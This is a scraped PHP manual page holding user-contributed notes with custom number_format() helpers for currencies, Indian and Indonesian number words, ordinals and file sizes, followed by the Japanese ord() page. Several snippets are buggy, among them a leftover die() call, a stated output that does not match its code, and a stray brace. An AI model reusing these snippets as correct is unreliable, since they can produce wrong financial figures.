function formatNumber($number, $format=[], $oldDecimalSeparator=",.・'", $multiplier=1)
{
    /**
    $format — the array of formatting options, details in the example.
    $oldDecimalSeparator — decimal separator used in the $number. If the separator can meet different characters, then you need to record them all, for example: ',.'.
    $multiplier — typically used to adjust prices up or down.
    */
    if ($format) {
        $format += ['numOfDecimals' => 0, 'decimalSeparator' => '.', 'thousandSeparator' => '']; # Default format
        # Find decimal separator
        # The decimal separator is the one that is the last and does not occur more than once
        if ($letters = str_replace(' ', '', $number)) { # Replace spaces
            if ($letters = preg_replace('/^-/', '', $letters)) { # Remove minus
                if ($letters = preg_replace('/[0-9]/', '', $letters)) { # Get all non digits
                    $lastletter = substr($letters, -1); # Returns last char
                    if (substr_count($letters, $lastletter) == 1) {
                        if (strpos($oldDecimalSeparator, $lastletter)  !== false)
                            $oldDecimalSep = $lastletter;
                        else
                            return $number;
                    }
                }
            }
        }
        $number = preg_replace('/[^0-9-]/', '', $number); # Remove all non digits except 'minus'
        if ($oldDecimalSep)
            $number = str_replace($oldDecimalSep, '.', $number); # Format to float
        if ($multiplier != 1)
            $number = $number * $multiplier;
        # Convert float to new format
        $number = number_format($number,
            $format['numOfDecimals'],
            $format['decimalSeparator'],
            $format['thousandSeparator']
        );
    }
    return $number;
}

/**
Example. Formatting data in which the decimal separator can occur as the comma and dot. Formatting into Russian format: -12 345,67
*/
echo formatNumber($number, [
    'numOfDecimals' => 2,
    'decimalSeparator' => ',',
    'thousandSeparator' => '&nbsp;'
], ',.');

?>
besciualexandru at gmail dot com 29-Oct-2015 08:09
// Here is a function that produces the same output as number_format() but also works with numbers bigger than 2^53.

function a_number_format($number_in_iso_format, $no_of_decimals=3, $decimals_separator='.', $thousands_separator='', $digits_grouping=3){
    // Check input variables
    if (!is_numeric($number_in_iso_format)){
        error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$number_in_iso_format is not a number.");
        return false;
    }
    if (!is_numeric($no_of_decimals)){
        error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$no_of_decimals is not a number.");
        return false;
    }
    if (!is_numeric($digits_grouping)){
        error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$digits_grouping is not a number.");
        return false;
    }

    // Prepare variables
    $no_of_decimals = $no_of_decimals * 1;

    // Explode the string received after DOT sign (this is the ISO separator of decimals)
    $aux = explode(".", $number_in_iso_format);
    // Extract decimal and integer parts
    $integer_part = $aux[0];
    $decimal_part = isset($aux[1]) ? $aux[1] : '';

    // Adjust decimal part (increase it, or minimize it)
    if ($no_of_decimals > 0){
        // Check actual size of decimal_part
        // If its length is smaller than number of decimals, add trailing zeros, otherwise round it
        if (strlen($decimal_part) < $no_of_decimals){
            $decimal_part = str_pad($decimal_part, $no_of_decimals, "0");
        } else {
            $decimal_part = substr($decimal_part, 0, $no_of_decimals);
        }
    } else {
        // Completely eliminate the decimals, if there $no_of_decimals is a negative number
        $decimals_separator = '';
        $decimal_part       = '';
    }

    // Format the integer part (digits grouping)
    if ($digits_grouping > 0){
        $aux = strrev($integer_part);
        $integer_part = '';
        for ($i=strlen($aux)-1; $i >= 0 ; $i--){
            if ( $i % $digits_grouping == 0 && $i != 0){
                $integer_part .= "{$aux[$i]}{$thousands_separator}";
            } else {
                $integer_part .= $aux[$i];
            }
        }
    }

    $processed_number = "{$integer_part}{$decimals_separator}{$decimal_part}";
    return $processed_number;
}

$original_number= 9223372036854775805;
echo a_number_format($original_number, 4, '.',"'",3);
// Outputs: 9'223'372'036'854'775'805.1230
kryss dot schuenemann at egba dot ba dot gov dot br 06-Jun-2015 01:07
//Cep Brasil
    function getCEP($cep){
        return number_format(substr($cep, 0, 5),0,"",".").'-'.substr($cep, 5, 3);
    }
//Saida 12.345-67
mobi dot lenoe at gmail dot com 28-Oct-2013 08:13
I'd like to comment to the old notes of "stm555" and "woodynadobhar".
They wrote about "number_format_unlimited_precision()".
I guess many of us need that kind of function, which is the almost same function as number_format but don't round a number.

Does Anyone know any new solution in a recent PHP version?

...
If no, how about the following function? (I fixed somethings like bugs of the function in the old comment.)
<?php
function number_format_unchanged_precision($number, $dec_point='.', $thousands_sep=','){
    if($dec_point==$thousands_sep){
        trigger_error('2 parameters for ' . __METHOD__ . '() have the same value, that is "' . $dec_point . '" for $dec_point and $thousands_sep', E_USER_WARNING);
        // It corresponds "PHP Warning:  Wrong parameter count for number_format()", which occurs when you use $dec_point without $thousands_sep to number_format().
    }
    if(preg_match('{\.\d+}', $number, $matches)===1){
        $decimals = strlen($matches[0]) - 1;
    }else{
        $decimals = 0;
    }
    return number_format($number, $decimals, $dec_point, $thousands_sep);
}
var_dump(number_format_unchanged_precision(1234.5678, ',', '.'));
var_dump(number_format_unchanged_precision(1234.5678, ','));
var_dump(number_format_unchanged_precision(12345678));
var_dump(number_format_unchanged_precision(-0.5678, ',', '.'));  // It occurred a bug with the function in the old comment.
?>
output is:
    string(10) "1.234,5678"
    PHP Warning:  2 parameters for number_format_unchanged_precision() have the same value, that is "," for $dec_point and $thousands_sep in...
    string(10) "1,234,5678"
    string(10) "12,345,678"
    string(7) "-0,5678"
tomislav at firmus-grupa dot hr 03-Mar-2013 05:01
When apply number_format on number with separator on thousands, result is wrong. This function accept number of any format
<?php
function format_price($number,$decPlaces,$decSep,$thouSep){

    //$number - number for format
    //$decPlaces - number of decimal places
    //$decSep - separator for decimals
    //$thouSep - separator for thousands

    //first remove all white spaces
    $number=preg_replace('/\s+/', '',$number);
    //split string into array
    $numberArr = str_split($number);
    //reverse array and not preserve key, keys will help to find decimal place
    $numberArrRev=array_reverse($numberArr);

    //find first occurrence of non number character, that will be a decimal place
    //store $key into variable $decPointIsHere
    foreach ($numberArrRev as $key => $value) {
        if(!is_numeric($value)){
            if($decPointIsHere==""){
                $decPointIsHere=$key;
            }
        }
    }

    //decimal comma or whatever it is replace with dot
    //$decPointIsHere is the key of the element that will contain decimal separator dot
    if($decPointIsHere!=""){
        $numberArrRev[$decPointIsHere]=".";
    }

    //again check through array for non numerical characters but skipping allready processed keys
    //if is not number remove from array

    foreach ($numberArrRev as $key => $value) {
        if(!is_numeric($value) && $key>$decPointIsHere){
            unset($numberArrRev[$key]);
        }
    }

    //reverse back, at the start reversed array $numberArrRev to $numberArr
    $numberArr=array_reverse($numberArrRev);

    //create string from array
    $numberClean=implode("",$numberArr);

    // apply php number_format function
    return number_format($numberClean,$decPlaces,$decSep,$thouSep);

}

echo format_price("1 225 552, 55",2,',',' ')."<br>";
echo format_price("1.225.552, 55",2,',',' ')."<br>";
echo format_price("1'225'552. 55",2,',',' ')."<br>";
echo format_price("1225552.55",2,',',' ')."<br>";
?>
all results are: 1 225 552,55
vgurudev at nikshepa dot com 04-May-2012 08:37
<?php

    function convertNumberToWordsForIndia($number){
        //A function to convert numbers into Indian readable words with Cores, Lakhs and Thousands.
        $words = array(
        '0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five',
        '6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten',
        '11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen',
        '16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty',
        '30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy',
        '80' => 'eighty','90' => 'ninty');

        //First find the length of the number
        $number_length = strlen($number);
        //Initialize an empty array
        $number_array = array(0,0,0,0,0,0,0,0,0);
        $received_number_array = array();

        //Store all received numbers into an array
        for($i=0;$i<$number_length;$i++){    $received_number_array[$i] = substr($number,$i,1);    }

        //Populate the empty array with the numbers received - most critical operation
        for($i=9-$number_length,$j=0;$i<9;$i++,$j++){ $number_array[$i] = $received_number_array[$j]; }
        $number_to_words_string = "";
        //Finding out whether it is teen ? and then multiplying by 10, example 17 is seventeen, so if 1 is preceeded with 7 multiply 1 by 10 and add 7 to it.
        for($i=0,$j=1;$i<9;$i++,$j++){
            if($i==0 || $i==2 || $i==4 || $i==7){
                if($number_array[$i]=="1"){
                    $number_array[$j] = 10+$number_array[$j];
                    $number_array[$i] = 0;
                }
            }
        }

        $value = "";
        for($i=0;$i<9;$i++){
            if($i==0 || $i==2 || $i==4 || $i==7){    $value = $number_array[$i]*10; }
            else{ $value = $number_array[$i];    }
            if($value!=0){ $number_to_words_string.= $words["$value"]." "; }
            if($i==1 && $value!=0){    $number_to_words_string.= "Crores "; }
            if($i==3 && $value!=0){    $number_to_words_string.= "Lakhs ";    }
            if($i==5 && $value!=0){    $number_to_words_string.= "Thousand "; }
            if($i==6 && $value!=0){    $number_to_words_string.= "Hundred &amp; "; }
        }
        if($number_length>9){ $number_to_words_string = "Sorry This does not support more than 99 Crores"; }
        return ucwords(strtolower("Indian Rupees ".$number_to_words_string)." Only.");
    }

    echo convertNumberToWordsForIndia("987654321");

    //Output ==> Indian Rupees Ninty Eight Crores Seventy Six Lakhs Fifty Four Thousand Three Hundred & Twenty One Only.
?>
liviu andrei (bls) 18-Nov-2011 08:10
To prevent the rounding that occurs when next digit after last significant decimal is 5 (mentioned by several people below):

<?php
function fnumber_format($number, $decimals='', $sep1='', $sep2='') {

        if (($number * pow(10 , $decimals + 1) % 10 ) == 5)  //if next not significant digit is 5
            $number -= pow(10 , -($decimals+1));

        return number_format($number, $decimals, $sep1, $sep2);

}

$t=7.15;
echo $t . " | " . number_format($t, 1, '.', ',') .  " | " . fnumber_format($t, 1, '.', ',') . "\n\n";
//result is: 7.15 | 7.2 | 7.1

$t=7.3215;
echo $t . " | " . number_format($t, 3, '.', ',') .  " | " . fnumber_format($t, 3, '.', ',') . "\n\n";
//result is: 7.3215 | 7.322 | 7.321
} ?>

have fun!
Ali Okan YKSEL 26-Oct-2010 02:47
function formats numbers of datetime type,

<?php
$_GET["zaman"]="1983-8-28 5:5:5";

function _parseDatetimeToList($datetimeStr) { //datetime format: Y-m-d H-i-s
    $datetimeArray=explode(" ", $datetimeStr);
    $dateArray=explode("-",$datetimeArray[0]);
    $year=str_pad($dateArray[0], 2, "0", STR_PAD_LEFT);
    $month=str_pad($dateArray[1], 2, "0", STR_PAD_LEFT);
    $day=str_pad($dateArray[2], 2, "0", STR_PAD_LEFT);
    $timeArray=explode(":",$datetimeArray[1]);
    $hour=str_pad($timeArray[0], 2, "0", STR_PAD_LEFT);
    $minute=str_pad($timeArray[1], 2, "0", STR_PAD_LEFT);
    $second=str_pad($timeArray[2], 2, "0", STR_PAD_LEFT);
    return array($year, $month, $day, $hour, $minute, $second);
}

list($year, $month, $day, $hour, $minute, $second) = _parseDatetimeToList($_GET["zaman"]);  // 1983-1-28 5:5:5
?>
dipu dot ashok dot 17 at gmail dot com 28-Mar-2010 01:18
function to convert numbers to words
indian: thousand,lakh,crore
Note: function can only convert nos upto 99 crores

<?php
 $words = array('0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five','6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten','11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen','16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty','30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy','80' => 'eighty','90' => 'ninty','100' => 'hundred &','1000' => 'thousand','100000' => 'lakh','10000000' => 'crore');
function no_to_words($no)
{    global $words;
    if($no == 0)
        return ' ';
    else {           $novalue='';$highno=$no;$remainno=0;$value=100;$value1=1000;
            while($no>=100)    {
                if(($value <= $no) &&($no  < $value1))    {
                $novalue=$words["$value"];
                $highno = (int)($no/$value);
                $remainno = $no % $value;
                break;
                }
                $value= $value1;
                $value1 = $value * 100;
            }
          if(array_key_exists("$highno",$words))
              return $words["$highno"]." ".$novalue." ".no_to_words($remainno);
          else {
             $unit=$highno%10;
             $ten =(int)($highno/10)*10;
             return $words["$ten"]." ".$words["$unit"]." ".$novalue." ".no_to_words($remainno);
           }
    }
}
echo no_to_words(999978987);

?>
info at daniel-marschall dot de 22-May-2009 12:54
In my function my_number_format() [shown below] there was a bug.

If a negative number which is smaller than 1 was entered (-0,...), then the result was wrongly positive because +0 is equal to -0 (the content of $tmp[0] which was interpretet as numeric value).

Here is the corrected version:

<?php

function my_number_format($number, $dec_point, $thousands_sep)
{
    $was_neg = $number < 0; // Because +0 == -0
    $number = abs($number);

    $tmp = explode('.', $number);
    $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
    if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

    if ($was_neg) $out = "-$out";

    return $out;
}

?>

Thanks to Federico Cassinelli for the bug report.

[EDIT BY danbrown AT php DOT net: The original note follows.]

Let's say we got the number $inp = 1234.56

By using

<?php
return number_format($inp, 2, ',', '.');
?>

you can get the German format 1.234,56. (Comma as decimal separator and point as thousand separator)

But I have a problem with that: I want to add commas as thousand separators and change the decimal-separator (this could also be done with str_replace), but I do not want to change the amount of fractional digits!

But since the 2nd argument of number_format is necessary to enter the 3rd and 4th argument, this cannot be done with number_format. You have to change the fractional digits with this function.

But I want that 1234.56 changes into 1.234,56 and 1234.567890123456 changes into 1.234,567890123456

So, I created following function, that doesn't change the amount of fractional digits:

<?php
function my_number_format($number, $dec_point, $thousands_sep)
{
  $tmp = explode('.', $number);
  $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
  if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

  return $out;
}
?>
james at bandit dot co.nz 26-Mar-2009 09:03
Outputs a human readable number.

<?php
    #    Output easy-to-read numbers
    #    by james at bandit.co.nz
    function bd_nice_number($n) {
        // first strip any formatting;
        $n = (0+str_replace(",","",$n));

        // is this a number?
        if(!is_numeric($n)) return false;

        // now filter it;
        if($n>1000000000000) return round(($n/1000000000000),1).' trillion';
        else if($n>1000000000) return round(($n/1000000000),1).' billion';
        else if($n>1000000) return round(($n/1000000),1).' million';
        else if($n>1000) return round(($n/1000),1).' thousand';

        return number_format($n);
    }
?>

Outputs:

247,704,360 -> 247.7 million
866,965,260,000 -> 867 billion
IMSoP 18-Mar-2009 02:36
I'm not sure if this is the right place anyway, but "ben at last dot fm"'s ordinal function can be simplified further by removing the redundant "floor" (the result of floor is still a float, it's the "%" that's converting to int) and outer switch.

Note that this version also returns the number with the suffix on the end, not just the suffix.

<?php
function ordinal($num)
{
    // Special case "teenth"
    if ( ($num / 10) % 10 != 1 )
    {
        // Handle 1st, 2nd, 3rd
        switch( $num % 10 )
        {
            case 1: return $num . 'st';
            case 2: return $num . 'nd';
            case 3: return $num . 'rd';
        }
    }
    // Everything else is "nth"
    return $num . 'th';
}
?>
Barbara 26-Jan-2009 11:04
I was looking for a SIMPLE way to format currency and account for negative values while not losing the calculation properties of my number.  Here's my function - it's not rocket science, but maybe can help someone along the way.

<?php
function wims_currency($number) {
   if ($number < 0) {
     $print_number = "($ " . str_replace('-', '', number_format ($number, 2, ".", ",")) . ")";
    } else {
     $print_number = "$ " .  number_format ($number, 2, ".", ",") ;
   }
   return $print_number;
}
?>
Sample use:

<?php
$pur_po_total =  ($pur_po_total + $pur_item_total);
$print_pur_po_total = wims_currency($pur_po_total);
?>

Returns (for example)    $ 44,561.00 or, if a negative ($ 407,250.00)

This way, I use my 1st variable for calculations and my 2nd variable for output.  I'm sure there are better ways to do it,  but this got me back on track.
thomas at weblizards dot de 23-Jan-2009 05:43
It's not explicitly documented; number_format also rounds:

<?php
$numbers = array(0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009);
foreach ($numbers as $number)
    print $number."->".number_format($number, 2, '.', ',')."<br>";
?>

0.001->0.00
0.002->0.00
0.003->0.00
0.004->0.00
0.005->0.01
0.006->0.01
0.007->0.01
0.008->0.01
0.009->0.01
nospam at nospam dot com 02-Dec-2008 02:08
Simple function to show money as only dollars if no cents, but will show 2 decimals if cents exist.

The 'cents' flag can force to never or always show 2 decimals

<?php

// formats money to a whole number or with 2 decimals; includes a dollar sign in front
function formatMoney($number, $cents = 1) { // cents: 0=never, 1=if needed, 2=always
  if (is_numeric($number)) { // a number
    if (!$number) { // zero
      $money = ($cents == 2 ? '0.00' : '0'); // output zero
    } else { // value
      if (floor($number) == $number) { // whole number
        $money = number_format($number, ($cents == 2 ? 2 : 0)); // format
      } else { // cents
        $money = number_format(round($number, 2), ($cents == 0 ? 0 : 2)); // format
      } // integer or decimal
    } // value
    return '$'.$money;
  } // numeric
} // formatMoney

$a = array(1, 1234, 1.5, 1.234, 2.345, 2.001, 2.100, '1.000', '1.2345', '12345', 0, '0.00');

// show cents if needed ($cents=1)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 1));
1 = $1
1234 = $1,234
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1
1.2345 = $1.23
12345 = $12,345
0 = $0
0.00 = $0

// never show cents ($cents=0)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 0));
1 = $1
1234 = $1,234
1.5 = $2
1.234 = $1
2.345 = $2
2.001 = $2
2.1 = $2
1.000 = $1
1.2345 = $1
12345 = $12,345
0 = $0
0.00 = $0

// always show cents ($cents=2)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 2));
1 = $1.00
1234 = $1,234.00
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1.00
1.2345 = $1.23
12345 = $12,345.00
0 = $0.00
0.00 = $0.00

?>

Cheers :)

And remember to always contribute custom functions if they might be useful to the rest of us or future versions of the php language.
samuelpeixoto at gmail dot com 21-Nov-2008 05:05
Exemplo: Example:

<?php
$number = 1234567.896;
echo '1: '.number_format($number, 2, ',', '').'<br>';
echo '2: '.number_format($number, 2, '.', '').'<br>';
echo '3: '.number_format($number, 2, ',', '.').'<br>';
echo '4: '.number_format($number, 2, '.', ',').'<br>';
echo '5: '.number_format($number, 2, ',', ' ').'<br>';
echo '6: '.number_format($number, 2, ',', "'").'<br>';
echo '7: '.number_format($number, 2, '', '').'<br>';
?>

Resultado: Result:

 1: 1234567,90   -> Decimal separado por ,
 2: 1234567.90   -> Decimal separado por .
 3: 1.234.567,90 -> Moeda Brasil, Alemanha
 4: 1,234,567.90 -> Ingles, USA
 5: 1 234 567,90 -> Franca
 6: 1'234'567,90 -> Suica
 7: 123456790    -> Sem decimal
isapoetra at gmail dot com 15-Jun-2008 06:53
here is the code to convert number to Indonesian text, this code has limitation as is number_format function. sorry for this.
/*
* Created : Iwan Sapoetra - Jun 13, 2008
* Project : Web
* Package : cgaf
*
*/
function terbilang( $num ,$dec=4){
    $stext = array(
        "Nol",
        "Satu",
        "Dua",
        "Tiga",
        "Empat",
        "Lima",
        "Enam",
        "Tujuh",
        "Delapan",
        "Sembilan",
        "Sepuluh",
        "Sebelas"
    );
    $say  = array(
        "Ribu",
        "Juta",
        "Milyar",
        "Triliun",
        "Biliun", // remember limitation of float
        "--apaan---" ///setelah biliun namanya apa?
    );
    $w = "";

    if ($num <0 ) {
        $w  = "Minus ";
        //make positive
        $num *= -1;
    }

    $snum = number_format($num,$dec,",",".");
    die($snum);
    $strnum =  explode(".",substr($snum,0,strrpos($snum,",")));
    //parse decimalnya
    $koma = substr($snum,strrpos($snum,",")+1);

    $isone = substr($num,0,1)  ==1;
    if (count($strnum)==1) {
        $num = $strnum[0];
        switch (strlen($num)) {
            case 1:
            case 2:
                if (!isset($stext[$strnum[0]])){
                    if($num<19){
                        $w .=$stext[substr($num,1)]." Belas";
                    }else{
                        $w .= $stext[substr($num,0,1)]." Puluh ".
                            (intval(substr($num,1))==0 ? "" : $stext[substr($num,1)]);
                    }
                }else{
                    $w .= $stext[$strnum[0]];
                }
                break;
            case 3:
                $w .=  ($isone ? "Seratus" : terbilang(substr($num,0,1)) .
                    " Ratus").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            case 4:
                $w .=  ($isone ? "Seribu" : terbilang(substr($num,0,1)) .
                    " Ribu").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            default:
                break;
        }
    }else{
        $text = $say[count($strnum)-2];
        $w = ($isone && strlen($strnum[0])==1 && count($strnum) <=3? "Se".strtolower($text) : terbilang($strnum[0]).' '.$text);
        array_shift($strnum);
        $i =count($strnum)-2;
        foreach ($strnum as $k=>$v) {
            if (intval($v)) {
                $w.= ' '.terbilang($v).' '.($i >=0 ? $say[$i] : "");
            }
            $i--;
        }
    }
    $w = trim($w);
    if ($dec = intval($koma)) {
        $w .= " Koma ". terbilang($koma);
    }
    return trim($w);
}
//example
echo terbilang(999999999999)."\n";
/**
 * result : Sembilan Ratus Sembilan Puluh Sembilan Milyar Sembilan Ratus Sembilan Puluh Sembilan Juta Sembilan Ratus Sembilan Puluh Sembilan Ribu Sembilan Ratus Sembilan Puluh Sembilan
 */
echo terbilang(9999999999999999);
/**
 * todo : fix this bug pleasese
 * problem : number_format(9999999999999999) <--- 10.000.000.000.000.000,0000
 * Result : Sepuluh Biliun
 */
gabrielu at gmail dot com 08-May-2008 09:54
Using the number_format I'm having some unexpected results.  30% of 14.95 (14.95 * .3) = 4.485.  Now 4.485 rounded to two decimal places should give me 4.49.

Example:
<?php
echo number_format(14.95 * .3, 2, '.', '') . "\n";
echo number_format(4.485, 2, '.', '') . "\n";
?>

Unexpected Results:
4.48
4.49
uliciadrian01 at yahoo dot com 06-Oct-2007 02:34
A simple funtion to format american dollars.

<?php
function formatMoney($money) {
    if($money<1) {
        $money='￠'.$money*100;
    }
    else {
        $dollars=intval($money);
        $cents=$money-$dollars;
        $cents=$cents*100;
        $money='$'.$dollars.' and ￠'.$cents;
    }
    return $money;
}
echo formatmoney('52.342');
?>
This will output: "   $52 and ￠34.2  ".
zulisse at email dot it 06-Feb-2007 02:27
simpler function to convert a number in bytes, kilobytes....

<?php

function bytes($a) {
    $unim = array("B","KB","MB","GB","TB","PB");
    $c = 0;
    while ($a>=1024) {
        $c++;
        $a = $a/1024;
    }
    return number_format($a,($c ? 2 : 0),",",".")." ".$unim[$c];
}

?>

you may also add others units over PeraBytes when the hard disks will reach 1024 PB :)
webmaster at WWW.ELLESSEWEB.NET 24-Nov-2006 06:51
This is a simple and useful function to convert a byte number in a KB  or MB:

<?
function filesize_format ($bytes) {
  $bytes=(float)$bytes;
  if ($bytes<1024){
  $numero=number_format($bytes, 0, ',', '.')." Byte";
  return $numero;
  }
  if ($bytes<1048576){
      $numero=number_format($bytes/1024, 2, ',', '.')." KByte";
  return $numero;
  }
  if ($bytes>=1048576){
      $numero=number_format($bytes/1048576, 2, ',', '.')." MByte";
  return $numero;
  }
}
?>
giovanni dot cappellini at gmail dot com 26-Oct-2006 07:31
About the function of j-a-n at gmx dot de: it's useful, but the argument of the function is $number while the logic of the function requires it to be $in.
mikesabatino at gmail dot com 01-Mar-2006 07:34
<?php
# Function to represent a number like '2nd', '10th', '101st' etc
function text_number($n)
{
    # Array holding the teen numbers. If the last 2 numbers of $n are in this array, then we'll add 'th' to the end of $n
    $teen_array = array(11, 12, 13, 14, 15, 16, 17, 18, 19);

    # Array holding all the single digit numbers. If the last number of $n, or if $n itself, is a key in this array, then we'll add that key's value to the end of $n
    $single_array = array(1 => 'st', 2 => 'nd', 3 => 'rd', 4 => 'th', 5 => 'th', 6 => 'th', 7 => 'th', 8 => 'th', 9 => 'th', 0 => 'th');

    # Store the last 2 digits of $n in order to check if it's a teen number.
    $if_teen = substr($n, -2, 2);

    # Store the last digit of $n in order to check if it's a teen number. If $n is a single digit, $single will simply equal $n.
    $single = substr($n, -1, 1);

    # If $if_teen is in array $teen_array, store $n with 'th' concantenated onto the end of it into $new_n
    if ( in_array($if_teen, $teen_array) )
    {
        $new_n = $n . 'th';
    }
    # $n is not a teen, so concant the appropriate value of it's $single_array key onto the end of $n and save it into $new_n
    elseif ( $single_array[$single] )
    {
        $new_n = $n . $single_array[$single];
    }

    # Return new
    return $new_n;
}
?>
MarcM 20-Feb-2006 10:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
Jeroen de Bruijn [NL] 01-Oct-2005 03:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
    return number_format($value,2,".",",");
  else
    return number_format($value,0,".",",") .",-";
  }
marc dot vanwoerkom at fernuni-hagen dot de 14-Jul-2005 06:53
See also the documentation for localeconv, which will provide values for decimal point and thousands separator from the C standard library.

Of course localeconv features many more locale information, like indicating to put the negative sign behind the value for some locale settings which can't be used to customize present number_format.
woodynadobhar at hotmail dot com 17-May-2005 09:04
What do you do if some of your numbers have decimal places, and some don't?  You can switch between functions, but if you're building it in a loop, that's not a good solution.  Instead, we have the same as below, with a slight change:

function number_format_unlimited_precision($number,$decimal = '.'){
    $broken_number = explode($decimal,$number);
    if($broken_number[1]==0){
        return number_format($broken_number[0]);
    }else{
        return number_format($broken_number[0]).$decimal.$broken_number[1];
    };
};
stm555 at hotmail dot com 27-Apr-2005 08:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
keyg at auralplanet dot com 22-Nov-2004 06:56
if you want &nbsp; as a separator and use windows charset this piece of code may help:

<?php
$number=number_format($number,2,'.',chr(0xA0));
?>
Svein Tjonndal (sveint at yahoo dot com) 14-Sep-2004 07:18
If you use space as a separator, it will break on that space in HTML tables...

Furthermore, number_format doesn't like '&nbsp;' as a fourth parameter. I wrote the following function to display the numbers in an HTML table.

  function numberfix($number)
  {
    $number = number_format($number,0,","," ");
    return str_replace(" ", "&nbsp;", $number);
  }

For use in:
<table><tr><td><?php echo $number; ?></td></tr></table>
chandu at chandu dot org 07-Mar-2004 05:29
People here in India are more used to counting money in Lakhs & Crores .. so here is the code for formatting the commas with thousands for the first time and then with hundred multiples from there after.

Ex: 1234567  ->  12,34,567

<?php

function makecomma($input)
{
    // This function is written by some anonymous person - I got it from Google
    if(strlen($input)<=2)
    { return $input; }
    $length=substr($input,0,strlen($input)-2);
    $formatted_input = makecomma($length).",".substr($input,-2);
    return $formatted_input;
}

function formatInIndianStyle($num){
    // This is my function
    $pos = strpos((string)$num, ".");
    if ($pos === false) { $decimalpart="00";}
    else { $decimalpart= substr($num, $pos+1, 2); $num = substr($num,0,$pos); }

    if(strlen($num)>3 & strlen($num) <= 12){
                $last3digits = substr($num, -3 );
                $numexceptlastdigits = substr($num, 0, -3 );
                $formatted = makecomma($numexceptlastdigits);
                $stringtoreturn = $formatted.",".$last3digits.".".$decimalpart ;
    }elseif(strlen($num)<=3){
                $stringtoreturn = $num.".".$decimalpart ;
    }elseif(strlen($num)>12){
                $stringtoreturn = number_format($num, 2);
    }

    if(substr($stringtoreturn,0,2)=="-,"){$stringtoreturn = "-".substr($stringtoreturn,2 );}

    return $stringtoreturn;
}

$num = 1234567;
echo  formatInIndianStyle($num);

?>
sgj at dr dot com 17-May-2003 06:04
Just an observation:
The number_format rounds the value of the variable.

$val1 = 1.233;
$val2 = 1.235;
$val3 = 1.237;

echo number_format($val1,2,",","."); // returns: 1,23
echo number_format($val2,2,",","."); // returns: 1,24
echo number_format($val3,2,",","."); // returns: 1,24
Theo Diem 24-Mar-2003 01:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
    $locale = localeconv();
    return number_format($number,
       $locale['frac_digits'],
        $locale['decimal_point'],
        $locale['thousands_sep']);
}

hope this helps =)
[]'s


文字列の先頭バイトを、0 から 255 までの値に変換する

  • ≪ number_format
  • parse_str ≫
  • PHP Manual
  • String 関数
  • 文字列の先頭バイトを、0 から 255 までの値に変換する

ord

(PHP 4, PHP 5, PHP 7, PHP 8)

ord — 文字列の先頭バイトを、0 から 255 までの値に変換する

説明

ord ( string $character ) : int

character の先頭バイトのバイナリ値を、 0 から 255 までの符号なしの整数値として解釈します。

string が ASCII, ISO-8859, Windows 1252 のような シングルバイトエンコーディング だった場合、 これは文字セットのマッピングテーブルにある文字の位置を返すことと同義です。 しかし、この関数は string のエンコーディングについて知りませんし、 特に UTF-8 や UTF-16 のようなマルチバイトエンコーディングについては、 この関数からは Unicode のコードポイントは絶対にわからないことに注意してください。

この関数は chr() と逆の動作をします。

パラメータ

character

文字列。

返り値

0 から 255 までの整数値を返します。

例

例1 ord() の例

<?php
$str = "\n";
if (ord($str) == 10) {
    echo "\$str の先頭は改行文字です。\n";
}
?>

例2 UTF-8 の文字列をバイト単位で調べる

<?php
declare(encoding='UTF-8');
$str = "??";
for ( $pos=0; $pos < strlen($str); $pos ++ ) {
 $byte = substr($str, $pos);
 echo 'Byte ' . $pos . ' of $str has value ' . ord($byte) . PHP_EOL;
}
?>

上の例の出力は以下となります。

Byte 0 of $str has value 240
Byte 1 of $str has value 159
Byte 2 of $str has value 144
Byte 3 of $str has value 152

参考

  • chr() - 数値から、1バイトの文字列を生成する
  • » ASCII 値の表

User Contributed Notes

paco at olecode dot com 24-Feb-2020 02:46
this function convert UTF-8 string to RTF code string. I am using code of v0rbiz at yahoo dot com, thanks!!!

function cadena_rtf($txt)
   {
